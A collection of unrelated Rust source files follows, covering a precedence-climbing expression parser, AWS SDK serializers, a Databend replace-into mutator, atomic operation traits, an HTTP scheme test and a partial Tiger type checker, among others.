pub handler: fn(To, Op, To, &Ctx) -> Result<To, Err>,
p_rule_value: PhantomData<Op>,
p_token: PhantomData<To>,
p_result: PhantomData<Re>,
p_ctx: PhantomData<Ctx>,
}
impl<Op: Hash + Eq + Copy, To: Token<Re, Err, Ctx> + Clone, Re, Err, Ctx>
Climber<Op, To, Re, Err, Ctx>
{
/// Construtor for a new climber.
/// Rules with the same [precedence level][1] are separated by a `|` character.
/// ```ignore
/// fn handler(lhs: f64, op: Op, rhs: f64, _:&()) -> Result<f64, ()> {
/// Ok(match op {
/// Op::Add => lhs + rhs,
/// Op::Sub => lhs - rhs,
/// Op::Mul => lhs * rhs,
/// Op::Div => lhs / rhs,
/// Op::Exp => lhs.powf(rhs)
/// })
/// }
///
/// let climber = Climber::new(
/// vec![
/// Rule::new(Op::Add, Assoc::Left) | Rule::new(Op::Sub, Assoc::Right),
/// Rule::new(Op::Mul, Assoc::Left) | Rule::new(Op::Div, Assoc::Right),
/// Rule::new(Op::Exp, Assoc::Right)
/// ],
/// handler
/// );
/// ```
pub fn new(
rules: Vec<Rule<Op>>,
handler: fn(To, Op, To, &Ctx) -> Result<To, Err>,
) -> Self {
let rules =
rules
.into_iter()
.zip(1..)
.fold(HashMap::new(), |mut map, (op, prec)| {
let mut next = Some(op);
while let Some(op) = next.take() {
match op {
Rule {
op,
assoc,
next: val_next,
} => {
map.insert(op, (prec, assoc));
next = val_next.map(|val| *val);
}
}
}
map
});
Self {
rules,
handler,
p_rule_value: PhantomData,
p_token: PhantomData,
p_result: PhantomData,
p_ctx: PhantomData,
}
}
/// Process an [Expression](struct.Expression.html) and return the resulting value.
/// ```ignore
/// // 2 + 2 * 3
/// // 2 + 6
/// // 8
/// let expression = Expression::new(
/// 2.0f64,
/// vec![
/// (Op::Add, 2.0f64),
/// (Op::Mul, 3.0f64)
/// ]
/// );
/// assert_eq!(climber.process(&expression, &()).unwrap(), 8.0f64);
/// ```
pub fn process(
&self,
expr: &Expression<Op, To>,
ctx: &Ctx,
) -> Result<Re, Err> {
let mut primary = expr.first_token.clone().convert(ctx)?;
let lhs = expr.first_token.clone();
let mut tokens = expr.pairs.iter().peekable();
self
.process_rec(
lhs, //
0,
&mut primary,
&mut tokens,
ctx,
)?
.convert(ctx)
}
fn process_rec(
&self,
mut lhs: To,
min_prec: usize,
primary: &mut Re,
tokens: &mut std::iter::Peekable<std::slice::Iter<(Op, To)>>,
ctx: &Ctx,
) -> Result<To, Err> {
while let Some((rule, _)) = tokens.peek() {
if let Some(&(prec, _)) = self.rules.get(rule) {
if prec >= min_prec {
let (_, rhs_ref) = tokens.next().unwrap();
let mut rhs = rhs_ref.clone();
while let Some((peek_rule, _)) = tokens.peek() {
if let Some(&(peek_prec, peek_assoc)) = self.rules.get(peek_rule) {
if peek_prec > prec
|| peek_assoc == Assoc::Right && peek_prec == prec
{
rhs = self.process_rec(rhs, peek_prec, primary, tokens, ctx)?;
} else {
break;
}
} else {
break;
}
}
lhs = (self.handler)(lhs, *rule, rhs, ctx)?;
} else {
break;
}
} else {
break;
}
}
Ok(lhs)
}
}
/// Used within a [Rule](struct.Rule.html) to indicate the left/right association of an operator.
#[derive(Debug, Eq, PartialEq, Copy, Clone)]
pub enum Assoc {
Left,
Right,
}
/// A single operator and an [Assoc](enum.Assoc.html)
#[derive(Debug)]
pub struct Rule<Op> {
op: Op,
assoc: Assoc,
next: Option<Box<Rule<Op>>>,
}
impl<Op> Rule<Op> {
pub fn new(op: Op, assoc: Assoc) -> Self {
Self {
op,
assoc,
next: None,
}
}
}
impl<Ru> std::ops::BitOr for Rule<Ru> {
type Output = Self;
fn bitor(mut self, rhs: Self) -> Self {
fn assign_next<Ru>(op: &mut Rule<Ru>, next: Rule<Ru>) {
if let Some(ref mut child) = op.next {
assign_next(child, next);
} else {
op.next = Some(Box::new(next));
}
}
assign_next(&mut self, rhs);
self
}
}
/// A faithful, always-valid representation of an expression.
///
/// It's impossible to throw an error due to the order of `token, operator, token` not being respected.
#[derive(Debug, Clone)]
pub struct Expression<Op: Copy, To: Clone> {
pub first_token: To,
pub pairs: Vec<(Op, To)>,
}
impl<Op: Copy, To: Clone> Expression<Op, To> {
/// ```ignore
/// // 5 * 6 + 3 / 2 ^ 4
/// let expression = Expression::new(
/// 5.0f64,
/// vec![
/// (Op::Mul, 6.0),
/// (Op::Add, 3.0),
/// (Op::Div, 2.0),
/// (Op::Exp, 4.0)
/// ]
/// );
/// ```
pub fn new(first_token: To, pairs: Vec<(Op, To)>) -> Self {
Self { first_token, pairs }
}
}
impl<Op: Copy + fmt::Display, To: Clone + fmt::Display> fmt::Display
for Expression<Op, To>
{
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
let mut s = format!("{}", self.first_token);
for (o, t) in &self.pairs {
s = format!("{} {} {}", s, o, t);
}
write!(f, "{}", s)
}
}
impl<Op: Copy + PartialEq, To: Clone + PartialEq> PartialEq
for Expression<Op, To>
{
fn eq(&self, other: &Self) -> bool {
self.first_token == other.first_token && self.pairs == other.pairs
}
}
impl<Op: Copy + Eq, To: Clone + Eq> Eq for Expression<Op, To> {}
#[cfg(test)]
mod test {
use super::*;
fn c(
expression: &Expression<MathOperator, MathToken>,
ctx: &f32,
) -> Result<f32, &'static str> {
use MathOperator::*;
let climber = Climber::new(
vec![
Rule::new(Add, Assoc::Left) | Rule::new(Sub, Assoc::Left),
Rule::new(Mul, Assoc::Left) | Rule::new(Div, Assoc::Left),
],
|lhs: MathToken, op: MathOperator, rhs: MathToken, ctx: &f32| {
let lhs: f32 = lhs.convert(ctx)?;
let rhs: f32 = rhs.convert(ctx)?;
Ok(match op {
MathOperator::Add => MathToken::Num(lhs + rhs),
MathOperator::Sub => MathToken::Num(lhs - rhs),
MathOperator::Mul => MathToken::Num(lhs * rhs),
MathOperator::Div => MathToken::Num(lhs / rhs),
})
},
);
climber.process(&expression, ctx)
}
#[derive(Hash, Eq, PartialEq, Copy, Clone)]
pub enum MathOperator {
Add,
Sub,
Mul,
Div,
}
#[derive(Clone)]
pub enum MathToken {
Paren(Box<Expression<MathOperator, MathToken>>),
Num(f32),
X,
}
impl Token<f32, &'static str, f32> for MathToken {
fn convert(self, ctx: &f32) -> Result<f32, &'static str> {
Ok(match self {
MathToken::Paren(expr) => c(expr.as_ref(), ctx)?,
MathToken::Num(n) => n,
MathToken::X => *ctx,
})
}
}
#[test]
fn process() {
let res = c(
&Expression::new(
MathToken::Num(7.0),
vec![(MathOperator::Add, MathToken::X)],
),
&8.0,
)
.unwrap();
assert_eq!(res, 15.0);
}
#[test]
fn proces_complex() {
use MathOperator::*;
use MathToken::*;
let res = c(
&Expression::new(
Num(10.0),
vec![(Add, Num(5.0)), (Mul, Num(3.0)), (Add, Num(1.0))],
),
&8.0,
)
.unwrap();
println!("{}", res);
}
}
|
/// Route handlers for the /api/articles APIs
pub mod articles;
/// Models for objects returned by the web API
///
/// See the [API Spec](https://github.com/gothinkster/realworld/tree/master/api#json-objects-returned-by-api)
/// for more information.
pub mod model;
/// Route handlers for the /profiles API
pub mod profiles;
/// Route handlers for the /user(s) APIs
pub mod users;
/// Utility functions and traits
pub mod util;
|
use input_i_scanner::InputIScanner;
fn main() {
let stdin = std::io::stdin();
let mut _i_i = InputIScanner::from(stdin.lock());
macro_rules! scan {
(($($t: ty),+)) => {
($(scan!($t)),+)
};
($t: ty) => {
_i_i.scan::<$t>() as $t
};
(($($t: ty),+); $n: expr) => {
std::iter::repeat_with(|| scan!(($($t),+))).take($n).collect::<Vec<_>>()
};
($t: ty; $n: expr) => {
std::iter::repeat_with(|| scan!($t)).take($n).collect::<Vec<_>>()
};
}
let n = scan!(usize);
let p = scan!(usize; n);
if n == 2 {
if p == vec![1, 2] {
println!("0");
} else {
println!("1");
}
return;
}
let mut p_sorted = p.clone();
p_sorted.sort();
if p == p_sorted {
println!("0");
return;
}
let (k, increase) = {
if p[0] + 1 == p[1] {
let mut k = 1;
while k + 1 < n {
if p[k] > p[k + 1] {
break;
}
k += 1;
}
(k + 1, true)
} else if p[0] == p[1] + 1 {
let mut k = 1;
while k + 1 < n {
if p[k] < p[k + 1] {
break;
}
k += 1;
}
(k + 1, false)
} else {
(1, p[1] < p[2])
}
};
assert!(k < n);
if increase {
println!("{}", solve1(&p, k));
} else {
println!("{}", solve2(&p, k));
}
}
fn solve1(a: &[usize], k: usize) -> usize {
for i in 1..k {
assert_eq!(a[i - 1] + 1, a[i]);
}
for i in k..(a.len() - 1) {
assert_eq!(a[i] + 1, a[i + 1]);
}
k.min(1 + (a.len() - k) + 1)
}
fn solve2(a: &[usize], k: usize) -> usize {
for i in 1..k {
assert_eq!(a[i - 1], a[i] + 1);
}
for i in k..(a.len() - 1) {
assert_eq!(a[i], a[i + 1] + 1);
}
(k + 1).min(1 + (a.len() - k))
}
|
extern crate file;
extern crate tempdir;
extern crate duplicate_kriller;
use std::fs;
use tempdir::TempDir;
use duplicate_kriller::*;
#[test]
fn hardlink_of_same_file() {
let dir = TempDir::new("hardlinktest").unwrap();
let a_path = dir.path().join("a");
let b_path = dir.path().join("b");
file::put_text(&a_path, "hello").unwrap();
fs::hard_link(&a_path, &b_path).unwrap();
let a = FileContent::from_path(a_path).unwrap();
let b = FileContent::from_path(b_path).unwrap();
assert_eq!(a, b);
assert_eq!(b, b);
}
#[test]
fn different_files() {
let dir = TempDir::new("basictest").unwrap();
let a_path = dir.path().join("a");
let b_path = dir.path().join("b");
file::put_text(&a_path, "hello").unwrap();
file::put_text(&b_path, "world").unwrap();
let a = FileContent::from_path(a_path).unwrap();
let b = FileContent::from_path(b_path).unwrap();
assert_eq!(a, a);
assert_eq!(b, b);
assert_ne!(a, b);
}
#[test]
fn different_files_big() {
let dir = TempDir::new("difftest").unwrap();
let a_path = dir.path().join("a_big");
let b_path = dir.path().join("b_big");
let mut content = vec![0xffu8; 100000];
file::put(&a_path, &content).unwrap();
content[88888] = 1;
file::put(&b_path, content).unwrap();
let a = FileContent::from_path(a_path).unwrap();
let b = FileContent::from_path(b_path).unwrap();
assert_ne!(a, b);
assert_eq!(a, a);
assert_eq!(b, b);
}
#[test]
fn same_content() {
let dir = TempDir::new("sametest").unwrap();
let a_path = dir.path().join("a");
let b_path = dir.path().join("b");
file::put_text(&a_path, "hello").unwrap();
file::put_text(&b_path, "hello").unwrap();
let a = FileContent::from_path(&a_path).unwrap();
let b = FileContent::from_path(&b_path).unwrap();
assert_eq!(a, a);
assert_eq!(b, b);
assert_eq!(a, b);
}
#[test]
fn symlink() {
let dir = TempDir::new("sametest").unwrap();
let a_path = dir.path().join("a");
let b_path = dir.path().join("b");
file::put_text(&a_path, "hello").unwrap();
::std::os::unix::fs::symlink(&a_path, &b_path).unwrap();
let a = FileContent::from_path(&a_path).unwrap();
let b = FileContent::from_path(&b_path).unwrap();
assert_ne!(a, b);
assert_eq!(b, b);
}
|
// Code generated by software.amazon.smithy.rust.codegen.smithy-rs. DO NOT EDIT.
pub fn serialize_operation_batch_execute_statement(
input: &crate::input::BatchExecuteStatementInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_batch_execute_statement_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
pub fn serialize_operation_cancel_statement(
input: &crate::input::CancelStatementInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_cancel_statement_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
pub fn serialize_operation_describe_statement(
input: &crate::input::DescribeStatementInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_describe_statement_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
pub fn serialize_operation_describe_table(
input: &crate::input::DescribeTableInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_describe_table_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
pub fn serialize_operation_execute_statement(
input: &crate::input::ExecuteStatementInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_execute_statement_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
pub fn serialize_operation_get_statement_result(
input: &crate::input::GetStatementResultInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_get_statement_result_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
pub fn serialize_operation_list_databases(
input: &crate::input::ListDatabasesInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_list_databases_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
pub fn serialize_operation_list_schemas(
input: &crate::input::ListSchemasInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_list_schemas_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
pub fn serialize_operation_list_statements(
input: &crate::input::ListStatementsInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_list_statements_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
pub fn serialize_operation_list_tables(
input: &crate::input::ListTablesInput,
) -> Result<smithy_http::body::SdkBody, smithy_types::Error> {
let mut out = String::new();
let mut object = smithy_json::serialize::JsonObjectWriter::new(&mut out);
crate::json_ser::serialize_structure_list_tables_input(&mut object, input);
object.finish();
Ok(smithy_http::body::SdkBody::from(out))
}
|
// Copyright 2023 Datafuse Labs.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
use std::collections::HashSet;
use std::hash::Hasher;
use common_exception::ErrorCode;
use common_exception::Result;
use common_expression::Column;
use common_expression::DataBlock;
use common_expression::Scalar;
use common_functions::aggregates::eval_aggr;
use siphasher::sip128;
use siphasher::sip128::Hasher128;
use crate::operations::merge_into::mutation_meta::merge_into_operation_meta::DeletionByColumn;
use crate::operations::merge_into::mutation_meta::merge_into_operation_meta::MergeIntoOperation;
use crate::operations::merge_into::mutation_meta::merge_into_operation_meta::UniqueKeyDigest;
use crate::operations::merge_into::OnConflictField;
// Replace is somehow a simplified merge_into, which
// - do insertion for "matched" branch
// - update for "not-matched" branch (by sending MergeIntoOperation to downstream)
pub struct ReplaceIntoMutator {
on_conflict_fields: Vec<OnConflictField>,
key_saw: HashSet<UniqueKeyDigest>,
}
impl ReplaceIntoMutator {
pub fn create(on_conflict_fields: Vec<OnConflictField>) -> Self {
Self {
on_conflict_fields,
key_saw: Default::default(),
}
}
}
enum ColumnHash {
NoConflict(HashSet<UniqueKeyDigest>),
Conflict,
}
impl ReplaceIntoMutator {
pub fn process_input_block(&mut self, data_block: &DataBlock) -> Result<MergeIntoOperation> {
// TODO table level pruning:
// if we can deduced that `data_block` is insert only, return an MergeIntoOperation::None (None op for Matched Branch)
self.extract_on_conflict_columns(data_block)
}
fn extract_on_conflict_columns(
&mut self,
data_block: &DataBlock,
) -> Result<MergeIntoOperation> {
let num_rows = data_block.num_rows();
let mut columns = Vec::with_capacity(self.on_conflict_fields.len());
for field in &self.on_conflict_fields {
let filed_index = field.field_index;
let entry = &data_block.columns()[filed_index];
let column = entry.value.as_column().unwrap();
columns.push(column);
}
match Self::build_column_hash(&columns, &mut self.key_saw, num_rows)? {
ColumnHash::NoConflict(key_hashes) => {
let columns_min_max = Self::columns_min_max(&columns, num_rows)?;
let delete_action = DeletionByColumn {
columns_min_max,
key_hashes,
};
Ok(MergeIntoOperation::Delete(delete_action))
}
ColumnHash::Conflict => Err(ErrorCode::StorageOther(
"duplicated data detected in merge source",
)),
}
}
fn build_column_hash(
columns: &[&Column],
saw: &mut HashSet<UniqueKeyDigest>,
num_rows: usize,
) -> Result<ColumnHash> {
let mut digests = HashSet::new();
for i in 0..num_rows {
let mut sip = sip128::SipHasher24::new();
for column in columns {
let value = column.index(i).unwrap();
let string = value.to_string();
sip.write(string.as_bytes());
}
let hash = sip.finish128().as_u128();
if saw.contains(&hash) {
return Ok(ColumnHash::Conflict);
} else {
saw.insert(hash);
}
digests.insert(hash);
}
Ok(ColumnHash::NoConflict(digests))
}
fn eval(column: Column, num_rows: usize, aggr_func_name: &str) -> Result<Scalar> {
let (state, _) = eval_aggr(aggr_func_name, vec![], &[column], num_rows)?;
if state.len() > 0 {
if let Some(v) = state.index(0) {
return Ok(v.to_owned());
}
}
Err(ErrorCode::Internal(
"evaluation min max value of given column failed",
))
}
fn columns_min_max(columns: &[&Column], num_rows: usize) -> Result<Vec<(Scalar, Scalar)>> {
let mut res = Vec::with_capacity(columns.len());
for column in columns {
let min = Self::eval((*column).clone(), num_rows, "min")?;
let max = Self::eval((*column).clone(), num_rows, "max")?;
res.push((min, max));
}
Ok(res)
}
}
#[cfg(test)]
mod tests {
use common_expression::types::NumberType;
use common_expression::types::StringType;
use common_expression::FromData;
use super::*;
#[test]
fn test_column_digest() -> Result<()> {
// ------|---
// Hi 1
// hello 2
let column1 = StringType::from_data(&["Hi", "Hello"]);
let column2 = NumberType::<u8>::from_data(vec![1, 2]);
let mut saw = HashSet::new();
let num_rows = 2;
let columns = [&column1, &column2];
let r = ReplaceIntoMutator::build_column_hash(&columns, &mut saw, num_rows)?;
assert_eq!(saw.len(), 2);
assert!(matches!(r, ColumnHash::NoConflict(..)));
// append new item, no conflict
// ------|---
// Hi 2
// hello 3
let column1 = StringType::from_data(&["Hi", "Hello"]);
let column2 = NumberType::<u8>::from_data(vec![2, 3]);
let columns = [&column1, &column2];
let num_rows = 2;
let r = ReplaceIntoMutator::build_column_hash(&columns, &mut saw, num_rows)?;
assert_eq!(saw.len(), 4);
assert!(matches!(r, ColumnHash::NoConflict(..)));
// new item, conflict
// ------|---
// Hi 1
let column1 = StringType::from_data(&["Hi"]);
let column2 = NumberType::<u8>::from_data(vec![1]);
let columns = [&column1, &column2];
let num_rows = 1;
let r = ReplaceIntoMutator::build_column_hash(&columns, &mut saw, num_rows)?;
assert_eq!(saw.len(), 4);
assert!(matches!(r, ColumnHash::Conflict));
Ok(())
}
#[test]
fn test_column_min_max() -> Result<()> {
let column1 = StringType::from_data(vec!["a", "b", "c", "d", "c", "b", "a"]);
let column2 = NumberType::<u8>::from_data(vec![5, 3, 2, 1, 2, 3, 5]);
let columns = [&column1, &column2];
let num_rows = 2;
let min_max_pairs = ReplaceIntoMutator::columns_min_max(&columns, num_rows)?;
let (min, max) = &min_max_pairs[0];
assert_eq!(min.to_string(), "\"a\"");
assert_eq!(max.to_string(), "\"d\"");
let (min, max) = &min_max_pairs[1];
assert_eq!(min.to_string(), "1");
assert_eq!(max.to_string(), "5");
Ok(())
}
}
|
use std::fmt::{Debug, Formatter};
use std::fmt::Result as FmtResult;
use super::KeyEvent;
/// An action performed by the key binding.
/// Contains the event that is performed (e.g what Lua or Rust function
/// to call), and meta data around the action such as whether to include
/// passthrough to the client or not.
#[derive(Clone)]
pub struct Action {
pub event: KeyEvent,
pub passthrough: bool
}
impl Debug for Action {
fn fmt(&self, f: &mut Formatter) -> FmtResult {
write!(f, "Event: {:?}, passthrough: {:?} ",
self.event, self.passthrough)
}
}
|
#[doc = "Reader of register DINR31"]
pub type R = crate::R<u32, super::DINR31>;
#[doc = "Reader of field `DIN31`"]
pub type DIN31_R = crate::R<u16, u16>;
impl R {
#[doc = "Bits 0:15 - Input data received from MDIO Master during write frames"]
#[inline(always)]
pub fn din31(&self) -> DIN31_R {
DIN31_R::new((self.bits & 0xffff) as u16)
}
}
|
use crate::*;
use num_derive::FromPrimitive;
use num_traits::FromPrimitive;
use wasmer_runtime::{Array, Ctx, WasmPtr};
/// The log levels used by CommonWA. See the log namespace documentation for
/// more information.
#[repr(u32)]
#[derive(Debug, FromPrimitive)]
pub enum LogLevel {
Error = 1,
Warning = 3,
Info = 6,
}
pub fn write(ctx: &mut Ctx, level: u32, ptr: WasmPtr<u8, Array>, len: u32) {
let (memory, env) = Process::get_memory_and_environment(ctx, 0);
let string = ptr.get_utf8_string(memory, len).unwrap();
match FromPrimitive::from_u32(level) {
Some(LogLevel::Info) => eprintln!("{}: info: {}", env.name, string),
Some(LogLevel::Warning) => eprintln!("{}: warn: {}", env.name, string),
Some(LogLevel::Error) => eprintln!("{}: error: {}", env.name, string),
None => panic!("invalid log level {}", level),
}
env.log_call("log_write".to_string());
}
|
//! Fetch and apply operations to the current value, returning the previous value.
use core::sync::atomic::Ordering;
/// Bitwise "and" with the current value.
pub trait And {
/// The underlying type
type Type;
/// Bitwise "and" with the current value.
///
/// Performs a bitwise "and" operation on the current value and the argument `val`,
/// and sets the new value to the result.
///
/// Returns the previous value.
fn fetch_and(&self, val: Self::Type, order: Ordering) -> Self::Type;
}
/// Bitwise "nand" with the current value.
#[cfg(any(feature = "atomic_nand", feature = "since_1_27_0"))]
pub trait Nand {
/// The underlying type
type Type;
/// Bitwise "nand" with the current value.
///
/// Performs a bitwise "nand" operation on the current value and the argument `val`,
/// and sets the new value to the result.
///
/// Returns the previous value.
fn fetch_nand(&self, val: Self::Type, order: Ordering) -> Self::Type;
}
/// Bitwise "or" with the current value.
pub trait Or {
/// The underlying type
type Type;
/// Bitwise "or" with the current value.
///
/// Performs a bitwise "or" operation on the current value and the argument `val`,
/// and sets the new value to the result.
///
/// Returns the previous value.
fn fetch_or(&self, val: Self::Type, order: Ordering) -> Self::Type;
}
/// Bitwise "xor" with the current value.
pub trait Xor {
/// The underlying type
type Type;
/// Bitwise "xor" with the current value.
///
/// Performs a bitwise "xor" operation on the current value and the argument `val`,
/// and sets the new value to the result.
///
/// Returns the previous value.
fn fetch_xor(&self, val: Self::Type, order: Ordering) -> Self::Type;
}
/// Adds to the current value, returning the previous value.
pub trait Add {
/// The underlying type
type Type;
/// Adds to the current value, returning the previous value.
///
/// This operation wraps around on overflow.
fn fetch_add(&self, val: Self::Type, order: Ordering) -> Self::Type;
}
/// Subtracts from the current value, returning the previous value.
pub trait Sub {
/// The underlying type
type Type;
/// Subtracts from the current value, returning the previous value.
///
/// This operation wraps around on overflow.
fn fetch_sub(&self, val: Self::Type, order: Ordering) -> Self::Type;
}
cfg_if! {
if #[cfg(any(feature = "since_1_45_0"))] {
/// Fetches the value, and applies a function to it that returns an optional new value.
pub trait Update {
/// The underlying type
type Type;
/// Fetches the value, and applies a function to it that returns an optional new value.
///
/// Returns a `Result` of `Ok(previous_value)` if the function returned `Some(_)`, else `Err(previous_value)`.
fn fetch_update<F>(
&self,
fetch_order: Ordering,
set_order: Ordering,
f: F,
) -> Result<Self::Type, Self::Type>
where
F: FnMut(Self::Type) -> Option<Self::Type>;
}
/// Maximum with the current value.
pub trait Max {
/// The underlying type
type Type;
/// Maximum with the current value.
///
/// Finds the maximum of the current value and the argument `val`, and sets the new value to the result.
///
/// Returns the previous value.
fn fetch_max(&self, val: Self::Type, order: Ordering) -> Self::Type;
}
/// Minimum with the current value.
pub trait Min {
/// The underlying type
type Type;
/// Minimum with the current value.
///
/// Finds the minimum of the current value and the argument `val`, and sets the new value to the result.
///
/// Returns the previous value.
fn fetch_min(&self, val: Self::Type, order: Ordering) -> Self::Type;
}
}
}
|
extern crate httparse;
extern crate olin;
use log::{error, info};
use olin::{http, Resource};
use std::io::{Read, Write};
pub extern "C" fn test() -> Result<(), i32> {
info!("running scheme::http tests");
let reqd = "GET /404 HTTP/1.1\r\nHost: xena.greedo.xeserv.us\r\nUser-Agent: Bit-banging it in rust\r\n\r\n";
let mut headers = [httparse::EMPTY_HEADER; 16];
let mut req = httparse::Request::new(&mut headers);
info!("validating HTTP request");
req.parse(reqd.as_bytes()).map_err(|e| {
error!("can't parse request: {:?}", e);
1
});
info!("opening https://xena.greedo.xeserv.us");
let mut fout: Resource = Resource::open("https://xena.greedo.xeserv.us").map_err(|e| {
error!("couldn't open: {:?}", e);
1
})?;
info!("writing HTTP request");
fout.write(reqd.as_bytes()).map_err(|e| {
error!("can't write request: {:?}", e);
1
});
info!("fetching response");
fout.flush().map_err(|e| {
error!("can't send request to remote server: {:?}", e);
1
});
info!("reading response");
let mut resp_data = [0u8; 2048];
fout.read(&mut resp_data).map_err(|e| {
error!("can't read response: {:?}", e);
1
});
info!("parsing response");
let mut headers = [httparse::EMPTY_HEADER; 16];
let mut resp = httparse::Response::new(&mut headers);
resp.parse(&resp_data).map_err(|e| {
error!("can't parse response: {:?}", e);
1
});
info!(
"version: {:?}, code: {:?}, reason: {:?}",
resp.version, resp.code, resp.reason
);
info!("scheme::http tests passed");
Ok(())
}
|
#![allow(dead_code, unused_variables)]
use ast;
use types::{Ty, ValueEnv, TypeEnv, EnvEntry};
use symbol::SymbolTable;
use std::cell::RefCell;
type AstTy = ast::Ty;
type AstEx = ast::Exp;
type Exp = ();
#[derive(Debug)]
pub struct ExpTy {
exp: Exp,
// this should be Rc<Ty>
ty: Ty,
}
struct UniqueGenerator {
unique: u32,
}
impl UniqueGenerator {
fn new() -> UniqueGenerator {
UniqueGenerator { unique: 0 }
}
fn next(&mut self) -> u32 {
let ret = self.unique;
self.unique += 1;
ret
}
}
pub struct TypeChecker<'a> {
symbol_table: &'a SymbolTable,
venv: &'a ValueEnv<'a>,
tenv: &'a TypeEnv<'a>,
unique_gen: &'a RefCell<UniqueGenerator>,
}
impl<'a> TypeChecker<'a> {
fn new(symbol_table: &'a SymbolTable,
venv: &'a ValueEnv<'a>,
tenv: &'a TypeEnv<'a>,
unique_gen: &'a RefCell<UniqueGenerator>) -> TypeChecker<'a> {
TypeChecker {
symbol_table: symbol_table,
venv: venv,
tenv: tenv,
unique_gen: unique_gen
}
}
fn new_with_venv(&self, venv: &'a ValueEnv<'a>) -> TypeChecker<'a> {
TypeChecker {
symbol_table: self.symbol_table,
venv: venv,
tenv: self.tenv,
unique_gen: self.unique_gen,
}
}
fn new_with_tenv(&self, tenv: &'a TypeEnv<'a>) -> TypeChecker<'a> {
TypeChecker {
symbol_table: self.symbol_table,
venv: self.venv,
tenv: tenv,
unique_gen: self.unique_gen,
}
}
fn trans_dec(&self, decs: &Vec<Box<ast::Dec>>, body: &Box<ast::Exp>) -> Result<ExpTy, String> {
let mut venv = ValueEnv::new(Some(self.venv));
let mut tenv = TypeEnv::new(Some(self.tenv));
for dec in decs.iter() {
// dec: &Box<ast::Dec>
}
let tcheck = TypeChecker {
symbol_table: self.symbol_table,
venv: &venv,
tenv: &tenv,
unique_gen: self.unique_gen,
};
tcheck.trans_exp(body.as_ref())
}
fn trans_var(&self, var: &ast::Var) -> Result<ExpTy, String> {
match var {
&ast::Var::SimpleVar(symbol, pos) => {
match self.venv.look(symbol) {
Some(rc_ty) => match rc_ty.as_ref() {
// ty could be a Name type, which we should catch (return actual types,
// not type aliases)
&EnvEntry::VarEntry(ref ty) => Ok(ExpTy { exp: (), ty: ty.as_ref().clone() }),
_ => {
let name = self.symbol_table.name(&symbol);
Err(format!("Unknown variable {} at pos {}", name, pos))
}
},
_ => {
let name = self.symbol_table.name(&symbol);
Err(format!("Unknown variable {} at pos {}", name, pos))
}
}
},
&ast::Var::FieldVar(ref var, symbol, pos) => {
// var must be of type RecordTy, and have a field matching symbol
let ExpTy { ty: var_ty, .. } = self.trans_var(var)?;
if let Ty::Record { ref fields, .. } = var_ty {
if let Some(field) = fields.iter().find(|&x| x.0 == symbol) {
Ok(ExpTy { exp: (), ty: field.1.as_ref().clone() })
} else {
Err(format!("Var {:?} of type {:?} has no field named {}",
var, var_ty, symbol))
}
} else {
Err(format!("Var {:?} is not a record", var))
}
},
&ast::Var::SubscriptVar(ref var, ref exp, pos) => {
Err("unimplemented".to_string())
}
}
}
pub fn trans_exp(&self, exp: &ast::Exp) -> Result<ExpTy, String> {
use ast::Oper::*;
match exp {
&ast::Exp::VarExp(ref var) => self.trans_var(var),
&ast::Exp::IntExp(_) => Ok(ExpTy { exp: (), ty: Ty::Int }),
&ast::Exp::StringExp(_, _) => Ok(ExpTy { exp: (), ty: Ty::String }),
&ast::Exp::NilExp => Ok(ExpTy { exp: (), ty: Ty::Nil }),
&ast::Exp::CallExp { func, ref args, pos } => {
Err("unimplemented".to_string())
},
&ast::Exp::OpExp { ref left, op, ref right, pos } => {
let ExpTy { ty: left_ty, .. } = self.trans_exp(left)?;
let ExpTy { ty: right_ty, .. } = self.trans_exp(right)?;
match op {
PlusOp | MinusOp |
TimesOp | DivideOp |
LtOp | LeOp |
GtOp | GeOp => {
match (left_ty, right_ty) {
(Ty::Int, Ty::Int) => Ok(ExpTy { exp: (), ty: Ty::Int }),
